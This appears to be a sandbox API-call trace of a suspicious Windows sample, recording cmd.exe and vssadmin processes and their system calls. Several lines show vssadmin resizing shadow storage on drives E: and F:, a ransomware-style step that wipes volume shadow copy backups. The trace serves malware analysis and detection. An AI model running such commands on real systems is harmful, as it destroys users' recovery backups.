	[0073.478] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x32feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32feec0) returned 0x33b8018
	[0073.478] GetProcessHeap () returned 0x33b0000
	[0073.478] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x0, Size=0x14) returned 0x33b8058
	[0073.478] FindClose (in: hFindFile=0x33b8018 | out: hFindFile=0x33b8018) returned 1
	[0073.478] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x32feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32feec0) returned 0xffffffff
	[0073.478] GetLastError () returned 0x2
	[0073.478] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x32feec0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32feec0) returned 0x33b8018
	[0073.478] GetProcessHeap () returned 0x33b0000
	[0073.478] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x0, Ptr=0x33b8058, Size=0x4) returned 0x33b8058
	[0073.478] FindClose (in: hFindFile=0x33b8018 | out: hFindFile=0x33b8018) returned 1
	[0073.478] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0073.478] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0073.479] ??_V@YAXPAX@Z () returned 0x1
	[0073.479] GetConsoleTitleW (in: lpConsoleTitle=0x32ff3c4, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe") returned 0x1c
	[0073.479] InitializeProcThreadAttributeList (in: lpAttributeList=0x32ff2f0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32ff2dc | out: lpAttributeList=0x32ff2f0, lpSize=0x32ff2dc) returned 1
	[0073.479] UpdateProcThreadAttribute (in: lpAttributeList=0x32ff2f0, dwFlags=0x0, Attribute=0x60001, lpValue=0x32ff2d8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32ff2f0, lpPreviousValue=0x0) returned 1
	[0073.479] GetStartupInfoW (in: lpStartupInfo=0x32ff328 | out: lpStartupInfo=0x32ff328*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\SYSTEM32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0073.479] GetProcessHeap () returned 0x33b0000
	[0073.479] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33b8018
	[0073.479] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0073.479] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0073.479] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0073.479] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0073.480] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0073.480] GetProcessHeap () returned 0x33b0000
	[0073.480] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b8018) returned 1
	[0073.481] GetProcessHeap () returned 0x33b0000
	[0073.481] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33b8018
	[0073.481] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0073.482] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.482] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0073.482] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0073.482] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1
	[0073.484] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x32ff278*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=unbounded", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32ff2c4 | out: lpCommandLine="vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=unbounded", lpProcessInformation=0x32ff2c4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xc18, dwThreadId=0xa54)) returned 1
	[0073.497] CloseHandle (hObject=0xdc) returned 1
	[0073.497] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0073.497] GetProcessHeap () returned 0x33b0000
	[0073.497] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b6c58) returned 1
	[0073.497] GetEnvironmentStringsW () returned 0x33b6c58*
	[0073.497] GetProcessHeap () returned 0x33b0000
	[0073.497] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb1a) returned 0x33b4bd0
	[0073.497] FreeEnvironmentStringsA (penv="=") returned 1
	[0073.497] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0073.967] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x32ff25c | out: lpExitCode=0x32ff25c*=0x2) returned 1
	[0073.967] CloseHandle (hObject=0xe0) returned 1
	[0073.967] _vsnwprintf (in: _Buffer=0x32ff344, _BufferCount=0x13, _Format="%08X", _ArgList=0x32ff264 | out: _Buffer="00000002") returned 8
	[0073.967] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0073.968] GetProcessHeap () returned 0x33b0000
	[0073.968] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b4bd0) returned 1
	[0073.968] GetEnvironmentStringsW () returned 0x33b8198*
	[0073.968] GetProcessHeap () returned 0x33b0000
	[0073.968] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb40) returned 0x33b4bd0
	[0073.968] FreeEnvironmentStringsA (penv="=") returned 1
	[0073.968] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0073.968] GetProcessHeap () returned 0x33b0000
	[0073.968] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b4bd0) returned 1
	[0073.968] GetEnvironmentStringsW () returned 0x33b8198*
	[0073.968] GetProcessHeap () returned 0x33b0000
	[0073.968] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb40) returned 0x33b4bd0
	[0073.968] FreeEnvironmentStringsA (penv="=") returned 1
	[0073.968] GetProcessHeap () returned 0x33b0000
	[0073.969] RtlFreeHeap (HeapHandle=0x33b0000, Flags=0x0, BaseAddress=0x33b8018) returned 1
	[0073.969] DeleteProcThreadAttributeList (in: lpAttributeList=0x32ff2f0 | out: lpAttributeList=0x32ff2f0) 
	[0073.969] ??_V@YAXPAX@Z () returned 0x1
	[0073.969] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.969] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0073.976] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.976] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0073.981] _get_osfhandle (_FileHandle=1) returned 0x90
	[0073.981] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0073.989] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0073.989] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0073.998] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0073.998] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0074.034] SetConsoleInputExeNameW () returned 0x1
	[0074.034] GetConsoleOutputCP () returned 0x1b5
	[0074.040] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0074.040] SetThreadUILanguage (LangId=0x0) returned 0x3110409
	[0074.046] exit (_Code=2) 
	[0074.046] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 69
	os_tid = 0xc38


Process:
	id = "21"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x10a85000"
	os_pid = "0xdd0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "20"
	os_parent_pid = "0xb3c"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 66
	os_tid = 0xdcc


Thread:
	id = 67
	os_tid = 0x6dc


Thread:
	id = 68
	os_tid = 0xc10


Process:
	id = "22"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x1b61a000"
	os_pid = "0xc18"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "20"
	os_parent_pid = "0xb3c"
	cmd_line = "vssadmin  resize shadowstorage /for=e: /on=e: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 70
	os_tid = 0xa54


Thread:
	id = 71
	os_tid = 0xe10


Thread:
	id = 72
	os_tid = 0xcc0


Thread:
	id = 73
	os_tid = 0x468


Thread:
	id = 74
	os_tid = 0x470


Process:
	id = "23"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x1b505000"
	os_pid = "0x2c0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 75
	os_tid = 0xe64

	[0074.329] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0074.329] __set_app_type (_Type=0x1) 
	[0074.329] __p__fmode () returned 0x77803c14
	[0074.329] __p__commode () returned 0x778049ec
	[0074.329] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0074.329] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0074.329] _onexit (_Func=0xb88030) returned 0xb88030
	[0074.329] _onexit (_Func=0xb88040) returned 0xb88040
	[0074.329] _onexit (_Func=0xb88050) returned 0xb88050
	[0074.330] _onexit (_Func=0xb88060) returned 0xb88060
	[0074.330] _onexit (_Func=0xb88070) returned 0xb88070
	[0074.330] _onexit (_Func=0xb88080) returned 0xb88080
	[0074.330] GetCurrentThreadId () returned 0xe64
	[0074.330] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe64) returned 0xbc
	[0074.330] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0074.330] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0074.331] SetThreadUILanguage (LangId=0x0) returned 0x5e0409
	[0074.413] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0074.413] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x6ff9a8 | out: phkResult=0x6ff9a8*=0x0) returned 0x2
	[0074.413] VirtualQuery (in: lpAddress=0x6ff9b3, lpBuffer=0x6ff960, dwLength=0x1c | out: lpBuffer=0x6ff960*(BaseAddress=0x6ff000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0074.414] VirtualQuery (in: lpAddress=0x600000, lpBuffer=0x6ff960, dwLength=0x1c | out: lpBuffer=0x6ff960*(BaseAddress=0x600000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0074.414] VirtualQuery (in: lpAddress=0x601000, lpBuffer=0x6ff960, dwLength=0x1c | out: lpBuffer=0x6ff960*(BaseAddress=0x601000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0074.414] VirtualQuery (in: lpAddress=0x603000, lpBuffer=0x6ff960, dwLength=0x1c | out: lpBuffer=0x6ff960*(BaseAddress=0x603000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0074.414] VirtualQuery (in: lpAddress=0x700000, lpBuffer=0x6ff960, dwLength=0x1c | out: lpBuffer=0x6ff960*(BaseAddress=0x700000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0074.414] GetConsoleOutputCP () returned 0x1b5
	[0074.424] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0074.424] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0074.424] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.424] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0074.442] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0074.442] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0074.451] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.452] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0074.454] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.454] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0074.455] _get_osfhandle (_FileHandle=1) returned 0x90
	[0074.455] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0074.457] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0074.457] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0074.458] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0074.458] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0074.461] GetEnvironmentStringsW () returned 0x724bc0*
	[0074.461] GetProcessHeap () returned 0x720000
	[0074.461] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xaca) returned 0x725698
	[0074.462] FreeEnvironmentStringsA (penv="A") returned 1
	[0074.462] GetProcessHeap () returned 0x720000
	[0074.462] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x4) returned 0x7246a0
	[0074.462] GetEnvironmentStringsW () returned 0x724bc0*
	[0074.462] GetProcessHeap () returned 0x720000
	[0074.462] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xaca) returned 0x726170
	[0074.462] FreeEnvironmentStringsA (penv="A") returned 1
	[0074.462] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6fe904 | out: phkResult=0x6fe904*=0xcc) returned 0x0
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x0, lpData=0x6fe910*=0x20, lpcbData=0x6fe908*=0x1000) returned 0x2
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x1, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x0, lpData=0x6fe910*=0x1, lpcbData=0x6fe908*=0x1000) returned 0x2
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x0, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x40, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x40, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x0, lpData=0x6fe910*=0x40, lpcbData=0x6fe908*=0x1000) returned 0x2
	[0074.462] RegCloseKey (hKey=0xcc) returned 0x0
	[0074.462] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6fe904 | out: phkResult=0x6fe904*=0xcc) returned 0x0
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x0, lpData=0x6fe910*=0x40, lpcbData=0x6fe908*=0x1000) returned 0x2
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x1, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.462] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x0, lpData=0x6fe910*=0x1, lpcbData=0x6fe908*=0x1000) returned 0x2
	[0074.463] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x0, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.463] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x9, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.463] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x4, lpData=0x6fe910*=0x9, lpcbData=0x6fe908*=0x4) returned 0x0
	[0074.463] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6fe90c, lpData=0x6fe910, lpcbData=0x6fe908*=0x1000 | out: lpType=0x6fe90c*=0x0, lpData=0x6fe910*=0x9, lpcbData=0x6fe908*=0x1000) returned 0x2
	[0074.463] RegCloseKey (hKey=0xcc) returned 0x0
	[0074.463] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e72d
	[0074.464] srand (_Seed=0x5e40e72d) 
	[0074.464] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB"
	[0074.464] malloc (_Size=0x4000) returned 0x2da21f0
	[0074.464] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB"
	[0074.464] malloc (_Size=0xffce) returned 0xa70048
	[0074.464] ??_V@YAXPAX@Z () returned 0x6ff8e8
	[0074.465] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0xa70048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0074.465] malloc (_Size=0xffce) returned 0xa80020
	[0074.465] ??_V@YAXPAX@Z () returned 0x6ff6bc
	[0074.466] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa80020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0074.466] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0074.466] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0074.466] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0074.466] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0074.466] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0074.466] GetProcessHeap () returned 0x720000
	[0074.466] RtlFreeHeap (HeapHandle=0x720000, Flags=0x0, BaseAddress=0x725698) returned 1
	[0074.466] GetEnvironmentStringsW () returned 0x724bc0*
	[0074.466] GetProcessHeap () returned 0x720000
	[0074.466] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xae2) returned 0x727738
